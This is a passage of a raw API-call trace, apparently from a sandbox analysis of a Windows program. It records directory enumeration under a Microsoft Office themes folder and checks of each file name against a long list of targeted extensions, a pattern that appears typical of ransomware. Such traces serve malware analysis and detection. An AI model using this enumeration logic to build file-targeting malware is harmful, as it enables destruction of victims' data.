[0077.884] lstrcmpiW (lpString1=".php4", lpString2="C.ELM") returned -1 [0077.884] lstrlenW (lpString=".php5") returned 5 [0077.884] lstrcmpiW (lpString1=".php5", lpString2="C.ELM") returned -1 [0077.884] lstrlenW (lpString=".phtml") returned 6 [0077.884] lstrcmpiW (lpString1=".phtml", lpString2="IC.ELM") returned -1 [0077.884] lstrlenW (lpString=".pict") returned 5 [0077.884] lstrcmpiW (lpString1=".pict", lpString2="C.ELM") returned -1 [0077.884] lstrlenW (lpString=".pl") returned 3 [0077.884] lstrcmpiW (lpString1=".pl", lpString2="ELM") returned -1 [0077.884] lstrlenW (lpString=".pls") returned 4 [0077.884] lstrcmpiW (lpString1=".pls", lpString2=".ELM") returned 1 [0077.884] lstrlenW (lpString=".pm") returned 3 [0077.885] lstrcmpiW (lpString1=".pm", lpString2="ELM") returned -1 [0077.885] lstrlenW (lpString=".png") returned 4 [0077.885] lstrcmpiW (lpString1=".png", lpString2=".ELM") returned 1 [0077.885] lstrlenW (lpString=".pnm") returned 4 [0077.885] lstrcmpiW (lpString1=".pnm", lpString2=".ELM") returned 1 [0077.885] lstrlenW (lpString=".pot") returned 4 [0077.885] lstrcmpiW (lpString1=".pot", lpString2=".ELM") returned 1 [0077.885] lstrlenW (lpString=".potm") returned 5 [0077.885] lstrcmpiW (lpString1=".potm", lpString2="C.ELM") returned -1 [0077.885] lstrlenW (lpString=".potx") returned 5 [0077.885] lstrcmpiW (lpString1=".potx", lpString2="C.ELM") returned -1 [0077.885] lstrlenW (lpString=".ppa") returned 4 [0077.885] lstrcmpiW (lpString1=".ppa", lpString2=".ELM") returned 1 [0077.885] lstrlenW (lpString=".ppam") returned 5 [0077.885] lstrcmpiW (lpString1=".ppam", lpString2="C.ELM") returned -1 [0077.885] lstrlenW (lpString=".ppm") returned 4 [0077.885] lstrcmpiW (lpString1=".ppm", lpString2=".ELM") returned 1 [0077.885] lstrlenW (lpString=".pps") returned 4 [0077.885] lstrcmpiW (lpString1=".pps", lpString2=".ELM") returned 1 [0077.886] lstrlenW (lpString=".ppsm") returned 5 [0077.886] lstrcmpiW (lpString1=".ppsm", lpString2="C.ELM") returned -1 [0077.886] lstrlenW (lpString=".ppt") returned 4 [0077.886] lstrcmpiW (lpString1=".ppt", lpString2=".ELM") returned 1 [0077.886] lstrlenW (lpString=".pptm") returned 5 [0077.886] lstrcmpiW (lpString1=".pptm", lpString2="C.ELM") returned -1 [0077.886] lstrlenW (lpString=".pptx") returned 5 [0077.886] lstrcmpiW (lpString1=".pptx", lpString2="C.ELM") returned -1 [0077.886] lstrlenW (lpString=".prn") returned 4 [0077.886] lstrcmpiW (lpString1=".prn", lpString2=".ELM") returned 1 [0077.886] lstrlenW (lpString=".ps") returned 3 [0077.886] lstrcmpiW (lpString1=".ps", lpString2="ELM") returned -1 [0077.886] lstrlenW (lpString=".psb") returned 4 [0077.886] lstrcmpiW (lpString1=".psb", lpString2=".ELM") returned 1 [0077.886] lstrlenW (lpString=".psd") returned 4 [0077.886] lstrcmpiW (lpString1=".psd", lpString2=".ELM") returned 1 [0077.886] lstrlenW (lpString=".pst") returned 4 [0077.886] lstrcmpiW (lpString1=".pst", lpString2=".ELM") returned 1 [0077.886] lstrlenW (lpString=".ptx") returned 4 [0077.886] lstrcmpiW (lpString1=".ptx", lpString2=".ELM") returned 1 [0077.887] lstrlenW (lpString=".pub") returned 4 [0077.887] lstrcmpiW (lpString1=".pub", lpString2=".ELM") returned 1 [0077.887] lstrlenW (lpString=".pwm") returned 4 [0077.887] lstrcmpiW (lpString1=".pwm", lpString2=".ELM") returned 1 [0077.887] lstrlenW (lpString=".pxr") returned 4 [0077.887] lstrcmpiW (lpString1=".pxr", lpString2=".ELM") returned 1 [0077.887] lstrlenW (lpString=".py") returned 3 [0077.887] lstrcmpiW (lpString1=".py", lpString2="ELM") returned -1 [0077.887] lstrlenW (lpString=".qt") returned 3 [0077.887] lstrcmpiW (lpString1=".qt", lpString2="ELM") returned -1 [0077.887] lstrlenW (lpString=".r3d") returned 4 [0077.887] lstrcmpiW (lpString1=".r3d", lpString2=".ELM") returned 1 [0077.887] lstrlenW (lpString=".raf") returned 4 [0077.887] lstrcmpiW (lpString1=".raf", lpString2=".ELM") returned 1 [0077.887] lstrlenW (lpString=".rar") returned 4 [0077.887] lstrcmpiW (lpString1=".rar", lpString2=".ELM") returned 1 [0077.887] lstrlenW (lpString=".raw") returned 4 [0077.887] lstrcmpiW (lpString1=".raw", lpString2=".ELM") returned 1 [0077.888] lstrcmpiW (lpString1=".rdf", lpString2=".ELM") returned 1 [0077.888] FindNextFileW (in: hFindFile=0x3ee3160, lpFindFileData=0x2eef094 | out: lpFindFileData=0x2eef094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a79b700, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x5146e3d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8a79b700, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x201, dwReserved0=0x0, dwReserved1=0x0, cFileName="ARCTIC.INF", cAlternateFileName="")) returned 1 [0077.889] FindClose (in: hFindFile=0x3ee3160 | out: hFindFile=0x3ee3160) returned 1 [0077.889] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3ed1060 | out: hHeap=0x5d0000) returned 1 [0077.889] FindNextFileW (in: hFindFile=0x3ee3120, lpFindFileData=0x2eef310 | out: lpFindFileData=0x2eef310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51767f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AXIS", cAlternateFileName="")) returned 1 [0077.889] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xfffe) returned 0x3ed1060 [0077.890] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\*", lpFindFileData=0x2eef094 | out: lpFindFileData=0x2eef094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51767f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ee3160 [0077.890] FindNextFileW (in: hFindFile=0x3ee3160, lpFindFileData=0x2eef094 | out: lpFindFileData=0x2eef094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51767f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.890] FindNextFileW (in: hFindFile=0x3ee3160, lpFindFileData=0x2eef094 | out: lpFindFileData=0x2eef094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd394600, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51767f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd394600, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x189be, dwReserved0=0x0, dwReserved1=0x0, cFileName="AXIS.ELM", cAlternateFileName="")) returned 1 [0078.280] lstrlenW (lpString="AXIS.ELM") returned 8 [0078.281] lstrlenW (lpString=".1cd") returned 4 [0078.281] lstrcmpiW (lpString1=".1cd", lpString2=".ELM") returned -1 [0078.281] lstrlenW (lpString=".3ds") returned 4 [0078.281] lstrcmpiW (lpString1=".3ds", lpString2=".ELM") returned -1 [0078.281] lstrlenW (lpString=".3fr") returned 4 [0078.281] lstrcmpiW (lpString1=".3fr", lpString2=".ELM") returned -1 [0078.281] lstrlenW (lpString=".3g2") returned 4 [0078.281] lstrcmpiW (lpString1=".3g2", lpString2=".ELM") returned -1 [0078.281] lstrlenW (lpString=".3gp") returned 4 [0078.281] lstrcmpiW (lpString1=".3gp", lpString2=".ELM") returned -1 [0078.281] lstrlenW (lpString=".7z") returned 3 [0078.281] lstrcmpiW (lpString1=".7z", lpString2="ELM") returned -1 [0078.281] lstrlenW (lpString=".accda") returned 6 [0078.281] lstrcmpiW (lpString1=".accda", lpString2="IS.ELM") returned -1 [0078.281] lstrlenW (lpString=".accdb") returned 6 [0078.281] lstrcmpiW (lpString1=".accdb", lpString2="IS.ELM") returned -1 [0078.281] lstrlenW (lpString=".accdc") returned 6 [0078.281] lstrcmpiW (lpString1=".accdc", lpString2="IS.ELM") returned -1 [0078.282] lstrlenW (lpString=".accde") returned 6 [0078.282] lstrcmpiW (lpString1=".accde", lpString2="IS.ELM") returned -1 [0078.282] lstrlenW (lpString=".accdt") returned 6 [0078.282] lstrcmpiW (lpString1=".accdt", lpString2="IS.ELM") returned -1 [0078.282] lstrlenW (lpString=".accdw") returned 6 [0078.282] lstrcmpiW (lpString1=".accdw", lpString2="IS.ELM") returned -1 [0078.282] lstrlenW (lpString=".adb") returned 4 [0078.282] lstrcmpiW (lpString1=".adb", lpString2=".ELM") returned -1 [0078.282] lstrlenW (lpString=".adp") returned 4 [0078.282] lstrcmpiW (lpString1=".adp", lpString2=".ELM") returned -1 [0078.282] lstrlenW (lpString=".ai") returned 3 [0078.282] lstrcmpiW (lpString1=".ai", lpString2="ELM") returned -1 [0078.282] lstrlenW (lpString=".ai3") returned 4 [0078.282] lstrcmpiW (lpString1=".ai3", lpString2=".ELM") returned -1 [0078.282] lstrlenW (lpString=".ai4") returned 4 [0078.282] lstrcmpiW (lpString1=".ai4", lpString2=".ELM") returned -1 [0078.282] lstrlenW (lpString=".ai5") returned 4 [0078.283] lstrcmpiW (lpString1=".ai5", lpString2=".ELM") returned -1 [0078.283] lstrlenW (lpString=".ai6") returned 4 [0078.283] lstrcmpiW (lpString1=".ai6", lpString2=".ELM") returned -1 [0078.283] lstrlenW (lpString=".ai7") returned 4 [0078.283] lstrcmpiW (lpString1=".ai7", lpString2=".ELM") returned -1 [0078.283] lstrlenW (lpString=".ai8") returned 4 [0078.283] lstrcmpiW (lpString1=".ai8", lpString2=".ELM") returned -1 [0078.283] lstrlenW (lpString=".anim") returned 5 [0078.283] lstrcmpiW (lpString1=".anim", lpString2="S.ELM") returned -1 [0078.283] lstrlenW (lpString=".arw") returned 4 [0078.283] lstrcmpiW (lpString1=".arw", lpString2=".ELM") returned -1 [0078.283] lstrlenW (lpString=".as") returned 3 [0078.283] lstrcmpiW (lpString1=".as", lpString2="ELM") returned -1 [0078.283] lstrlenW (lpString=".asa") returned 4 [0078.283] lstrcmpiW (lpString1=".asa", lpString2=".ELM") returned -1 [0078.283] lstrlenW (lpString=".asc") returned 4 [0078.283] lstrcmpiW (lpString1=".asc", lpString2=".ELM") returned -1 [0078.283] lstrlenW (lpString=".ascx") returned 5 [0078.283] lstrcmpiW (lpString1=".ascx", lpString2="S.ELM") returned -1 [0078.284] lstrlenW (lpString=".asm") returned 4 [0078.284] lstrcmpiW (lpString1=".asm", lpString2=".ELM") returned -1 [0078.284] lstrlenW (lpString=".asmx") returned 5 [0078.284] lstrcmpiW (lpString1=".asmx", lpString2="S.ELM") returned -1 [0078.284] lstrlenW (lpString=".asp") returned 4 [0078.284] lstrcmpiW (lpString1=".asp", lpString2=".ELM") returned -1 [0078.284] lstrlenW (lpString=".aspx") returned 5 [0078.284] lstrcmpiW (lpString1=".aspx", lpString2="S.ELM") returned -1 [0078.284] lstrlenW (lpString=".asr") returned 4 [0078.284] lstrcmpiW (lpString1=".asr", lpString2=".ELM") returned -1 [0078.284] lstrlenW (lpString=".asx") returned 4 [0078.284] lstrcmpiW (lpString1=".asx", lpString2=".ELM") returned -1 [0078.284] lstrlenW (lpString=".avi") returned 4 [0078.284] lstrcmpiW (lpString1=".avi", lpString2=".ELM") returned -1 [0078.284] lstrlenW (lpString=".avs") returned 4 [0078.284] lstrcmpiW (lpString1=".avs", lpString2=".ELM") returned -1 [0078.284] lstrlenW (lpString=".backup") returned 7 [0078.284] lstrcmpiW (lpString1=".backup", lpString2="XIS.ELM") returned -1 [0078.285] lstrlenW (lpString=".bak") returned 4 [0078.285] lstrcmpiW (lpString1=".bak", lpString2=".ELM") returned -1 [0078.285] lstrlenW (lpString=".bay") returned 4 [0078.285] lstrcmpiW (lpString1=".bay", lpString2=".ELM") returned -1 [0078.285] lstrlenW (lpString=".bd") returned 3 [0078.285] lstrcmpiW (lpString1=".bd", lpString2="ELM") returned -1 [0078.285] lstrlenW (lpString=".bin") returned 4 [0078.285] lstrcmpiW (lpString1=".bin", lpString2=".ELM") returned -1 [0078.285] lstrlenW (lpString=".bmp") returned 4 [0078.285] lstrcmpiW (lpString1=".bmp", lpString2=".ELM") returned -1 [0078.285] lstrlenW (lpString=".bz2") returned 4 [0078.285] lstrcmpiW (lpString1=".bz2", lpString2=".ELM") returned -1 [0078.285] lstrlenW (lpString=".c") returned 2 [0078.285] lstrcmpiW (lpString1=".c", lpString2="LM") returned -1 [0078.285] lstrlenW (lpString=".cdr") returned 4 [0078.285] lstrcmpiW (lpString1=".cdr", lpString2=".ELM") returned -1 [0078.285] lstrlenW (lpString=".cer") returned 4 [0078.285] lstrcmpiW (lpString1=".cer", lpString2=".ELM") returned -1 [0078.285] lstrlenW (lpString=".cf") returned 3 [0078.286] lstrcmpiW (lpString1=".cf", lpString2="ELM") returned -1 [0078.286] lstrlenW (lpString=".cfc") returned 4 [0078.286] lstrcmpiW (lpString1=".cfc", lpString2=".ELM") returned -1 [0078.286] lstrlenW (lpString=".cfm") returned 4 [0078.286] lstrcmpiW (lpString1=".cfm", lpString2=".ELM") returned -1 [0078.286] lstrlenW (lpString=".cfml") returned 5 [0078.286] lstrcmpiW (lpString1=".cfml", lpString2="S.ELM") returned -1 [0078.286] lstrlenW (lpString=".cfu") returned 4 [0078.286] lstrcmpiW (lpString1=".cfu", lpString2=".ELM") returned -1 [0078.286] lstrlenW (lpString=".chm") returned 4 [0078.286] lstrcmpiW (lpString1=".chm", lpString2=".ELM") returned -1 [0078.286] lstrlenW (lpString=".cin") returned 4 [0078.286] lstrcmpiW (lpString1=".cin", lpString2=".ELM") returned -1 [0078.286] lstrlenW (lpString=".class") returned 6 [0078.286] lstrcmpiW (lpString1=".class", lpString2="IS.ELM") returned -1 [0078.286] lstrlenW (lpString=".clx") returned 4 [0078.286] lstrcmpiW (lpString1=".clx", lpString2=".ELM") returned -1 [0078.286] lstrlenW (lpString=".config") returned 7 [0078.287] lstrcmpiW (lpString1=".config", lpString2="XIS.ELM") returned -1 [0078.287] lstrlenW (lpString=".cpp") returned 4 [0078.287] lstrcmpiW (lpString1=".cpp", lpString2=".ELM") returned -1 [0078.287] lstrlenW (lpString=".cr2") returned 4 [0078.287] lstrcmpiW (lpString1=".cr2", lpString2=".ELM") returned -1 [0078.287] lstrlenW (lpString=".crt") returned 4 [0078.287] lstrcmpiW (lpString1=".crt", lpString2=".ELM") returned -1 [0078.287] lstrlenW (lpString=".crw") returned 4 [0078.287] lstrcmpiW (lpString1=".crw", lpString2=".ELM") returned -1 [0078.287] lstrlenW (lpString=".cs") returned 3 [0078.287] lstrcmpiW (lpString1=".cs", lpString2="ELM") returned -1 [0078.287] lstrlenW (lpString=".css") returned 4 [0078.287] lstrcmpiW (lpString1=".css", lpString2=".ELM") returned -1 [0078.287] lstrlenW (lpString=".csv") returned 4 [0078.287] lstrcmpiW (lpString1=".csv", lpString2=".ELM") returned -1 [0078.287] lstrlenW (lpString=".cub") returned 4 [0078.287] lstrcmpiW (lpString1=".cub", lpString2=".ELM") returned -1 [0078.288] lstrlenW (lpString=".dae") returned 4 [0078.288] lstrcmpiW (lpString1=".dae", lpString2=".ELM") returned -1 [0078.288] lstrlenW (lpString=".dat") returned 4 [0078.288] lstrcmpiW (lpString1=".dat", lpString2=".ELM") returned -1 [0078.288] lstrlenW (lpString=".db") returned 3 [0078.288] lstrcmpiW (lpString1=".db", lpString2="ELM") returned -1 [0078.288] lstrlenW (lpString=".dbf") returned 4 [0078.288] lstrcmpiW (lpString1=".dbf", lpString2=".ELM") returned -1 [0078.288] lstrlenW (lpString=".dbx") returned 4 [0078.288] lstrcmpiW (lpString1=".dbx", lpString2=".ELM") returned -1 [0078.288] lstrlenW (lpString=".dc3") returned 4 [0078.288] lstrcmpiW (lpString1=".dc3", lpString2=".ELM") returned -1 [0078.288] lstrlenW (lpString=".dcm") returned 4 [0078.288] lstrcmpiW (lpString1=".dcm", lpString2=".ELM") returned -1 [0078.288] lstrlenW (lpString=".dcr") returned 4 [0078.288] lstrcmpiW (lpString1=".dcr", lpString2=".ELM") returned -1 [0078.289] lstrlenW (lpString=".der") returned 4 [0078.289] lstrcmpiW (lpString1=".der", lpString2=".ELM") returned -1 [0078.289] lstrlenW (lpString=".dib") returned 4 [0078.289] lstrcmpiW (lpString1=".dib", lpString2=".ELM") returned -1 [0078.289] lstrlenW (lpString=".dic") returned 4 [0078.289] lstrcmpiW (lpString1=".dic", lpString2=".ELM") returned -1 [0078.289] lstrlenW (lpString=".dif") returned 4 [0078.289] lstrcmpiW (lpString1=".dif", lpString2=".ELM") returned -1 [0078.289] lstrlenW (lpString=".divx") returned 5 [0078.289] lstrcmpiW (lpString1=".divx", lpString2="S.ELM") returned -1 [0078.289] lstrlenW (lpString=".djvu") returned 5 [0078.289] lstrcmpiW (lpString1=".djvu", lpString2="S.ELM") returned -1 [0078.289] lstrlenW (lpString=".dng") returned 4 [0078.289] lstrcmpiW (lpString1=".dng", lpString2=".ELM") returned -1 [0078.289] lstrlenW (lpString=".doc") returned 4 [0078.289] lstrcmpiW (lpString1=".doc", lpString2=".ELM") returned -1 [0078.289] lstrlenW (lpString=".docm") returned 5 [0078.289] lstrcmpiW (lpString1=".docm", lpString2="S.ELM") returned -1 [0078.290] lstrlenW (lpString=".docx") returned 5 [0078.290] lstrcmpiW (lpString1=".docx", lpString2="S.ELM") returned -1 [0078.290] lstrlenW (lpString=".dot") returned 4 [0078.290] lstrcmpiW (lpString1=".dot", lpString2=".ELM") returned -1 [0078.290] lstrlenW (lpString=".dotm") returned 5 [0078.290] lstrcmpiW (lpString1=".dotm", lpString2="S.ELM") returned -1 [0078.290] lstrlenW (lpString=".dotx") returned 5 [0078.290] lstrcmpiW (lpString1=".dotx", lpString2="S.ELM") returned -1 [0078.290] lstrlenW (lpString=".dpx") returned 4 [0078.290] lstrcmpiW (lpString1=".dpx", lpString2=".ELM") returned -1 [0078.290] lstrlenW (lpString=".dqy") returned 4 [0078.290] lstrcmpiW (lpString1=".dqy", lpString2=".ELM") returned -1 [0078.290] lstrlenW (lpString=".dsn") returned 4 [0078.290] lstrcmpiW (lpString1=".dsn", lpString2=".ELM") returned -1 [0078.290] lstrlenW (lpString=".dt") returned 3 [0078.290] lstrcmpiW (lpString1=".dt", lpString2="ELM") returned -1 [0078.290] lstrlenW (lpString=".dtd") returned 4 [0078.291] lstrcmpiW (lpString1=".dtd", lpString2=".ELM") returned -1 [0078.291] lstrlenW (lpString=".dwg") returned 4 [0078.291] lstrcmpiW (lpString1=".dwg", lpString2=".ELM") returned -1 [0078.291] lstrlenW (lpString=".dwt") returned 4 [0078.291] lstrcmpiW (lpString1=".dwt", lpString2=".ELM") returned -1 [0078.291] lstrlenW (lpString=".dx") returned 3 [0078.291] lstrcmpiW (lpString1=".dx", lpString2="ELM") returned -1 [0078.291] lstrlenW (lpString=".dxf") returned 4 [0078.291] lstrcmpiW (lpString1=".dxf", lpString2=".ELM") returned -1 [0078.291] lstrlenW (lpString=".edml") returned 5 [0078.291] lstrcmpiW (lpString1=".edml", lpString2="S.ELM") returned -1 [0078.291] lstrlenW (lpString=".efd") returned 4 [0078.291] lstrcmpiW (lpString1=".efd", lpString2=".ELM") returned -1 [0078.291] lstrlenW (lpString=".elf") returned 4 [0078.291] lstrcmpiW (lpString1=".elf", lpString2=".ELM") returned -1 [0078.291] lstrlenW (lpString=".emf") returned 4 [0078.291] lstrcmpiW (lpString1=".emf", lpString2=".ELM") returned 1 [0078.291] lstrlenW (lpString=".emz") returned 4 [0078.292] lstrcmpiW (lpString1=".emz", lpString2=".ELM") returned 1 [0078.292] lstrlenW (lpString=".epf") returned 4 [0078.292] lstrcmpiW (lpString1=".epf", lpString2=".ELM") returned 1 [0078.292] lstrlenW (lpString=".eps") returned 4 [0078.292] lstrcmpiW (lpString1=".eps", lpString2=".ELM") returned 1 [0078.292] lstrlenW (lpString=".epsf") returned 5 [0078.292] lstrcmpiW (lpString1=".epsf", lpString2="S.ELM") returned -1 [0078.292] lstrlenW (lpString=".epsp") returned 5 [0078.292] lstrcmpiW (lpString1=".epsp", lpString2="S.ELM") returned -1 [0078.292] lstrlenW (lpString=".erf") returned 4 [0078.292] lstrcmpiW (lpString1=".erf", lpString2=".ELM") returned 1 [0078.292] lstrlenW (lpString=".exr") returned 4 [0078.292] lstrcmpiW (lpString1=".exr", lpString2=".ELM") returned 1 [0078.292] lstrlenW (lpString=".f4v") returned 4 [0078.292] lstrcmpiW (lpString1=".f4v", lpString2=".ELM") returned 1 [0078.292] lstrlenW (lpString=".fido") returned 5 [0078.292] lstrcmpiW (lpString1=".fido", lpString2="S.ELM") returned -1 [0078.292] lstrlenW (lpString=".flm") returned 4 [0078.293] lstrcmpiW (lpString1=".flm", lpString2=".ELM") returned 1 [0078.293] lstrlenW (lpString=".flv") returned 4 [0078.293] lstrcmpiW (lpString1=".flv", lpString2=".ELM") returned 1 [0078.293] lstrlenW (lpString=".frm") returned 4 [0078.293] lstrcmpiW (lpString1=".frm", lpString2=".ELM") returned 1 [0078.293] lstrlenW (lpString=".fxg") returned 4 [0078.293] lstrcmpiW (lpString1=".fxg", lpString2=".ELM") returned 1 [0078.293] lstrlenW (lpString=".geo") returned 4 [0078.293] lstrcmpiW (lpString1=".geo", lpString2=".ELM") returned 1 [0078.293] lstrlenW (lpString=".gif") returned 4 [0078.293] lstrcmpiW (lpString1=".gif", lpString2=".ELM") returned 1 [0078.293] lstrlenW (lpString=".grs") returned 4 [0078.293] lstrcmpiW (lpString1=".grs", lpString2=".ELM") returned 1 [0078.293] lstrlenW (lpString=".gz") returned 3 [0078.293] lstrcmpiW (lpString1=".gz", lpString2="ELM") returned -1 [0078.293] lstrlenW (lpString=".h") returned 2 [0078.293] lstrcmpiW (lpString1=".h", lpString2="LM") returned -1 [0078.293] lstrlenW (lpString=".hdr") returned 4 [0078.293] lstrcmpiW (lpString1=".hdr", lpString2=".ELM") returned 1 [0078.293] lstrlenW (lpString=".hpp") returned 4 [0078.294] lstrcmpiW (lpString1=".hpp", lpString2=".ELM") returned 1 [0078.294] lstrlenW (lpString=".hta") returned 4 [0078.294] lstrcmpiW (lpString1=".hta", lpString2=".ELM") returned 1 [0078.294] lstrlenW (lpString=".htc") returned 4 [0078.294] lstrcmpiW (lpString1=".htc", lpString2=".ELM") returned 1 [0078.294] lstrlenW (lpString=".htm") returned 4 [0078.294] lstrcmpiW (lpString1=".htm", lpString2=".ELM") returned 1 [0078.294] lstrlenW (lpString=".html") returned 5 [0078.294] lstrcmpiW (lpString1=".html", lpString2="S.ELM") returned -1 [0078.294] lstrlenW (lpString=".icb") returned 4 [0078.294] lstrcmpiW (lpString1=".icb", lpString2=".ELM") returned 1 [0078.294] lstrlenW (lpString=".ics") returned 4 [0078.294] lstrcmpiW (lpString1=".ics", lpString2=".ELM") returned 1 [0078.294] lstrlenW (lpString=".iff") returned 4 [0078.294] lstrcmpiW (lpString1=".iff", lpString2=".ELM") returned 1 [0078.294] lstrlenW (lpString=".inc") returned 4 [0078.294] lstrcmpiW (lpString1=".inc", lpString2=".ELM") returned 1 [0078.294] lstrlenW (lpString=".indd") returned 5 [0078.294] lstrcmpiW (lpString1=".indd", lpString2="S.ELM") returned -1 [0078.295] lstrlenW (lpString=".ini") returned 4 [0078.295] lstrcmpiW (lpString1=".ini", lpString2=".ELM") returned 1 [0078.295] lstrlenW (lpString=".iqy") returned 4 [0078.295] lstrcmpiW (lpString1=".iqy", lpString2=".ELM") returned 1 [0078.295] lstrlenW (lpString=".j2c") returned 4 [0078.295] lstrcmpiW (lpString1=".j2c", lpString2=".ELM") returned 1 [0078.295] lstrlenW (lpString=".j2k") returned 4 [0078.295] lstrcmpiW (lpString1=".j2k", lpString2=".ELM") returned 1 [0078.295] lstrlenW (lpString=".java") returned 5 [0078.295] lstrcmpiW (lpString1=".java", lpString2="S.ELM") returned -1 [0078.295] lstrlenW (lpString=".jp2") returned 4 [0078.295] lstrcmpiW (lpString1=".jp2", lpString2=".ELM") returned 1 [0078.295] lstrlenW (lpString=".jpc") returned 4 [0078.295] lstrcmpiW (lpString1=".jpc", lpString2=".ELM") returned 1 [0078.295] lstrlenW (lpString=".jpe") returned 4 [0078.296] lstrcmpiW (lpString1=".jpe", lpString2=".ELM") returned 1 [0078.296] lstrlenW (lpString=".jpeg") returned 5 [0078.296] lstrcmpiW (lpString1=".jpeg", lpString2="S.ELM") returned -1 [0078.296] lstrlenW (lpString=".jpf") returned 4 [0078.296] lstrcmpiW (lpString1=".jpf", lpString2=".ELM") returned 1 [0078.296] lstrlenW (lpString=".jpg") returned 4 [0078.296] lstrcmpiW (lpString1=".jpg", lpString2=".ELM") returned 1 [0078.296] lstrlenW (lpString=".jpx") returned 4 [0078.296] lstrcmpiW (lpString1=".jpx", lpString2=".ELM") returned 1 [0078.296] lstrlenW (lpString=".js") returned 3 [0078.297] lstrcmpiW (lpString1=".js", lpString2="ELM") returned -1 [0078.297] lstrlenW (lpString=".jsf") returned 4 [0078.297] lstrcmpiW (lpString1=".jsf", lpString2=".ELM") returned 1 [0078.297] lstrlenW (lpString=".json") returned 5 [0078.297] lstrcmpiW (lpString1=".json", lpString2="S.ELM") returned -1 [0078.297] lstrlenW (lpString=".jsp") returned 4 [0078.297] lstrcmpiW (lpString1=".jsp", lpString2=".ELM") returned 1 [0078.297] lstrlenW (lpString=".kdc") returned 4 [0078.297] lstrcmpiW (lpString1=".kdc", lpString2=".ELM") returned 1 [0078.297] lstrlenW (lpString=".kmz") returned 4 [0078.297] lstrcmpiW (lpString1=".kmz", lpString2=".ELM") returned 1 [0078.297] lstrlenW (lpString=".kwm") returned 4 [0078.297] lstrcmpiW (lpString1=".kwm", lpString2=".ELM") returned 1 [0078.297] lstrlenW (lpString=".lasso") returned 6 [0078.297] lstrcmpiW (lpString1=".lasso", lpString2="IS.ELM") returned -1 [0078.297] lstrlenW (lpString=".lbi") returned 4 [0078.297] lstrcmpiW (lpString1=".lbi", lpString2=".ELM") returned 1 [0078.298] lstrlenW (lpString=".lgf") returned 4 [0078.298] lstrcmpiW (lpString1=".lgf", lpString2=".ELM") returned 1 [0078.298] lstrlenW (lpString=".lgp") returned 4 [0078.298] lstrcmpiW (lpString1=".lgp", lpString2=".ELM") returned 1 [0078.298] lstrlenW (lpString=".log") returned 4 [0078.298] lstrcmpiW (lpString1=".log", lpString2=".ELM") returned 1 [0078.298] lstrlenW (lpString=".m1v") returned 4 [0078.298] lstrcmpiW (lpString1=".m1v", lpString2=".ELM") returned 1 [0078.298] lstrlenW (lpString=".m4a") returned 4 [0078.298] lstrcmpiW (lpString1=".m4a", lpString2=".ELM") returned 1 [0078.298] lstrlenW (lpString=".m4v") returned 4 [0078.298] lstrcmpiW (lpString1=".m4v", lpString2=".ELM") returned 1 [0078.298] lstrlenW (lpString=".max") returned 4 [0078.298] lstrcmpiW (lpString1=".max", lpString2=".ELM") returned 1 [0078.298] lstrlenW (lpString=".md") returned 3 [0078.298] lstrcmpiW (lpString1=".md", lpString2="ELM") returned -1 [0078.298] lstrlenW (lpString=".mda") returned 4 [0078.298] lstrcmpiW (lpString1=".mda", lpString2=".ELM") returned 1 [0078.298] lstrlenW (lpString=".mdb") returned 4 [0078.299] lstrcmpiW (lpString1=".mdb", lpString2=".ELM") returned 1 [0078.299] lstrlenW (lpString=".mde") returned 4 [0078.299] lstrcmpiW (lpString1=".mde", lpString2=".ELM") returned 1 [0078.299] lstrlenW (lpString=".mdf") returned 4 [0078.299] lstrcmpiW (lpString1=".mdf", lpString2=".ELM") returned 1 [0078.299] lstrlenW (lpString=".mdw") returned 4 [0078.299] lstrcmpiW (lpString1=".mdw", lpString2=".ELM") returned 1 [0078.299] lstrlenW (lpString=".mef") returned 4 [0078.299] lstrcmpiW (lpString1=".mef", lpString2=".ELM") returned 1 [0078.299] lstrlenW (lpString=".mft") returned 4 [0078.299] lstrcmpiW (lpString1=".mft", lpString2=".ELM") returned 1 [0078.299] lstrlenW (lpString=".mfw") returned 4 [0078.299] lstrcmpiW (lpString1=".mfw", lpString2=".ELM") returned 1 [0078.299] lstrlenW (lpString=".mht") returned 4 [0078.299] lstrcmpiW (lpString1=".mht", lpString2=".ELM") returned 1 [0078.299] lstrlenW (lpString=".mhtml") returned 6 [0078.300] lstrcmpiW (lpString1=".mhtml", lpString2="IS.ELM") returned -1 